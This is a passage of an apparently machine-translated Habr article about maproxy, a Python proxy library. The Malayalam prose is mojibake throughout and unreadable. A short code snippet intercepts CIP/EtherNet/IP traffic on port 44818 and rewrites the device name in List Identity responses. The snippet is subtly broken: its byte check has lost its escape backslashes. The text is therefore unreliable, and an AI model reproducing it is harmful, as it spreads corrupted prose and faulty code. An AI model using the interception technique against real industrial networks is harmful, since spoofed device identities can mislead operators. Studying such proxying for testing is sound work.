  • เดžเด™เตเด™เดณเตเดŸเต† เดธเตเด•เตเดฐเดฟเดชเตเดฑเตเดฑเต เด…เดŸเดฟเดธเตเดฅเดพเดจเดฎเดพเด•เตเด•เดฟเดฏเตเดณเตเดณเดคเดพเดฃเต maproxy.

เด†เดฆเตเดฏเด‚, CIP (เด•เต‹เดฎเตบ เด‡เตปเดกเดธเตเดŸเตเดฐเดฟเดฏเตฝ เดชเตเดฐเต‹เดŸเตเดŸเต‹เด•เตเด•เต‹เตพ) เตฝ เดจเดฟเดจเตเดจเตเดณเตเดณ เด’เดฐเต เดธเดพเดงเดพเดฐเดฃ เดคเดฟเดฐเดฟเดšเตเดšเดฑเดฟเดฏเตฝ เดชเตเดฐเดคเดฟเด•เดฐเดฃเด‚ เดŽเด™เตเด™เดจเต†เดฏเตเดฃเตเดŸเต†เดจเตเดจเต เดจเต‹เด•เตเด•เดพเด‚:

เดซเตเดฒเตˆเดฏเดฟเตฝ เดจเต†เดฑเตเดฑเตโ€Œเดตเตผเด•เตเด•เต เดกเดพเดฑเตเดฑ เดชเตเดฐเต‹เดธเดธเตเดธเต เดšเต†เดฏเตเดฏเตเด•

เด‡เดฅเตผเดจเต†เดฑเตเดฑเต/เดเดชเดฟ เดชเตเดฐเต‹เดŸเตเดŸเต‹เด•เตเด•เต‹เตพ เด‰เดชเดฏเต‹เด—เดฟเดšเตเดšเดพเดฃเต เดกเดฟเดตเตˆเดธเต เดเดกเตปเตเดฑเดฟเดซเดฟเด•เตเด•เต‡เดทเตป เดจเดŸเดคเตเดคเตเดจเตเดจเดคเต, เดธเดฟเดเดชเดฟ เดชเต‹เดฒเตเดณเตเดณ เด•เตบเดŸเตเดฐเต‹เตพ เดชเตเดฐเต‹เดŸเตเดŸเต‹เด•เตเด•เต‹เดณเตเด•เตพ เดชเตŠเดคเดฟเดฏเตเดจเตเดจ เดตเตเดฏเดพเดตเดธเดพเดฏเดฟเด• เด‡เดฅเตผเดจเต†เดฑเตเดฑเต เดชเตเดฐเต‹เดŸเตเดŸเต‹เด•เตเด•เต‹เดณเดฟเตปเตเดฑเต† เดฎเต†เดšเตเดšเดชเตเดชเต†เดŸเตเดคเตเดคเดฟเดฏ เดชเดคเดฟเดชเตเดชเดพเดฃเต เด‡เดคเต. เดธเตโ€Œเด•เตเดฐเต€เตปเดทเต‹เดŸเตเดŸเดฟเตฝ เดฆเตƒเดถเตเดฏเดฎเดพเด•เตเดจเตเดจ เดนเตˆเดฒเตˆเดฑเตเดฑเต เดšเต†เดฏเตโ€Œเดค เดเดกเดฟ เดจเดพเดฎเด‚ เดžเด™เตเด™เตพ เดฎเดพเดฑเตเดฑเดพเตป เดชเต‹เด•เตเดจเตเดจเต "เด‡เดฅเตผเดจเต†เดฑเตเดฑเดฟเดจเดพเดฏเตเดณเตเดณ NI-IndComm" เดžเด™เตเด™เดณเตเดŸเต† เดชเตเดฐเต‹เด•เตเดธเดฟ เดธเตเด•เตเดฐเดฟเดชเตเดฑเตเดฑเต เด‰เดชเดฏเต‹เด—เดฟเดšเตเดšเต. เดจเดฎเตเด•เตเด•เต เดธเตเด•เตเดฐเดฟเดชเตเดฑเตเดฑเต เดตเต€เดฃเตเดŸเตเด‚ เด‰เดชเดฏเต‹เด—เดฟเด•เตเด•เดพเด‚ logging_proxy.py เด•เต‚เดŸเดพเดคเต† เด•เตเดฒเดพเดธเต เดฐเต€เดคเดฟเดฏเตเด‚ เดธเดฎเดพเดจเดฎเดพเดฏเดฟ เดชเดฐเดฟเดทเตเด•เดฐเดฟเด•เตเด•เตเด• on_p2s_done_read, เด•เดพเดฐเดฃเด‚ เด•เตเดฒเดฏเตปเตเดฑเดฟเตฝ เดฎเดฑเตเดฑเตŠเดฐเต เดเดกเตปเตเดฑเดฟเดฑเตเดฑเดฟ เดจเดพเดฎเด‚ เดฆเตƒเดถเตเดฏเดฎเดพเด•เดพเตป เดžเด™เตเด™เตพ เด†เด—เตเดฐเดนเดฟเด•เตเด•เตเดจเตเดจเต.

เด•เต‹เดกเต:

[โ€ฆ]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'x0cx00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[โ€ฆ]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[โ€ฆ]

เด…เดŸเดฟเดธเตเดฅเดพเดจเดชเดฐเดฎเดพเดฏเดฟ, เดžเด™เตเด™เตพ เดฐเดฃเตเดŸเต เดคเดตเดฃ เด‰เดชเด•เดฐเดฃ เดเดกเตปเตเดฑเดฟเดซเดฟเด•เตเด•เต‡เดทเตป เด†เดตเดถเตเดฏเดชเตเดชเต†เดŸเตเดŸเต, เดฐเดฃเตเดŸเดพเดฎเดคเตเดคเต† เดชเตเดฐเดคเดฟเด•เดฐเดฃเด‚ เด’เดฑเดฟเดœเดฟเดจเตฝ เด†เดฏเดฟเดฐเตเดจเตเดจเต, เด†เดฆเตเดฏเดคเตเดคเต‡เดคเต เดˆเดšเตเดšเดฏเดฟเตฝ เดชเดฐเดฟเดทเตเด•เตเด•เดฐเดฟเดšเตเดšเต.

เด…เดตเดธเดพเดจเดคเตเดคเต‡เดคเตเด‚

เดŽเดจเตเดฑเต† เด…เดญเดฟเดชเตเดฐเดพเดฏเดคเตเดคเดฟเตฝ maproxy เดธเต—เด•เดฐเตเดฏเดชเตเดฐเดฆเดตเตเด‚ เดฒเดณเดฟเดคเดตเตเดฎเดพเดฏ เด’เดฐเต เด‰เดชเด•เดฐเดฃเด‚, เด…เดคเต เดชเตˆเดคเตเดคเดฃเดฟเดฒเตเด‚ เดŽเดดเตเดคเดฟเดฏเดฟเดฐเดฟเด•เตเด•เตเดจเตเดจเต, เด…เดคเดฟเดจเดพเตฝ เดจเดฟเด™เตเด™เตพเด•เตเด•เตเด‚ เด‡เดคเต เด‰เดชเดฏเต‹เด—เดฟเด•เตเด•เตเดจเตเดจเดคเดฟเดฒเต‚เดŸเต† เดชเตเดฐเดฏเต‹เดœเดจเด‚ เดฒเดญเดฟเด•เตเด•เตเดฎเต†เดจเตเดจเต เดžเดพเตป เดตเดฟเดถเตเดตเดธเดฟเด•เตเด•เตเดจเตเดจเต. เดคเต€เตผเดšเตเดšเดฏเดพเดฏเตเด‚, เดจเต†เดฑเตเดฑเตโ€Œเดตเตผเด•เตเด•เต เดกเดพเดฑเตเดฑ เดชเตเดฐเต‹เดธเดธเตเดธเต เดšเต†เดฏเตเดฏเตเดจเตเดจเดคเดฟเดจเตเด‚ เดชเดฐเดฟเดทเตโ€Œเด•เตเด•เดฐเดฟเด•เตเด•เตเดจเตเดจเดคเดฟเดจเตเดฎเดพเดฏเดฟ เด•เต‚เดŸเตเดคเตฝ เดธเด™เตเด•เต€เตผเดฃเตเดฃเดฎเดพเดฏ เดŸเต‚เดณเตเด•เตพ เด‰เดฃเตเดŸเต, เดŽเดจเตเดจเดพเตฝ เด…เดตเดฏเตเด•เตเด•เต เด•เต‚เดŸเตเดคเตฝ เดถเตเดฐเดฆเตเดง เด†เดตเดถเตเดฏเดฎเตเดฃเตเดŸเต เด•เต‚เดŸเดพเดคเต† เดธเดพเดงเดพเดฐเดฃเดฏเดพเดฏเดฟ เด’เดฐเต เดชเตเดฐเดคเตเดฏเต‡เด• เด‰เดชเดฏเต‹เด—เดคเตเดคเดฟเดจเดพเดฏเดฟ เดธเตƒเดทเตเดŸเดฟเด•เตเด•เดชเตเดชเต†เดŸเตเดŸเดตเดฏเดพเดฃเต, เด‰เดฆเดพ. เดฎเตเดฑเต‡เดจ, เดฎเต‹เดกเตเดฒเดฟเดทเตเด• เด…เดฅเดตเดพ เดฆเตเดทเดฟเดšเตเดš เดฎเต‚เดจเตเดจเดพเดฎเดคเตเดคเต‡เดคเดฟเดจเต เดธเดฎเดพเดจเดฎเดพเดฏ เด•เต‡เดธเตเด•เตพเด•เตเด•เต, เด…เดฒเตเดฒเต†เด™เตเด•เดฟเตฝ เด•เดพเดจเดชเตเดชเต เด…เดตเดธเดพเดจ เด•เต‡เดธเดฟเดจเดพเดฏเดฟ. เด’เดฐเต เดตเดดเดฟ เด…เดฒเตเดฒเต†เด™เตเด•เดฟเตฝ เดฎเดฑเตเดฑเตŠเดจเตเดจเต, เดธเดนเดพเดฏเดคเตเดคเต‹เดŸเต† maproxy เด‰เดฆเดพเดนเดฐเดฃ เดธเตเด•เตเดฐเดฟเดชเตเดฑเตเดฑเตเด•เตพ เดตเดณเดฐเต† เดตเตเดฏเด•เตเดคเดฎเดพเดฏเดคเดฟเดจเดพเตฝ, เดจเต†เดฑเตเดฑเตโ€Œเดตเตผเด•เตเด•เต เดกเดพเดฑเตเดฑ เดคเดŸเดธเตเดธเดชเตเดชเต†เดŸเตเดคเตเดคเตเดจเตเดจเดคเดฟเดจเตเดณเตเดณ เดจเดฟเด™เตเด™เดณเตเดŸเต† เด†เดถเดฏเด™เตเด™เตพ เดจเดฟเด™เตเด™เตพเด•เตเด•เต เดตเต‡เด—เดคเตเดคเดฟเตฝ เดจเดŸเดชเตเดชเดฟเดฒเดพเด•เตเด•เดพเตป เด•เดดเดฟเดฏเตเด‚.

เดตเดฟเตปเดกเต‹เดธเต เดŽเดกเดฟเดฏเดฟเตฝ เดชเตเดฐเดพเดฎเดพเดฃเต€เด•เดฐเดฃ เดธเด‚เดตเดฟเดงเดพเดจเด™เตเด™เตพ เดชเดฐเดฟเดถเต‹เดงเดฟเด•เตเด•เตเดจเตเดจเต

เด…เดตเดฒเด‚เดฌเด‚: www.habr.com

เด’เดฐเต เด…เดญเดฟเดชเตเดฐเดพเดฏเด‚ เดšเต‡เตผเด•เตเด•เตเด•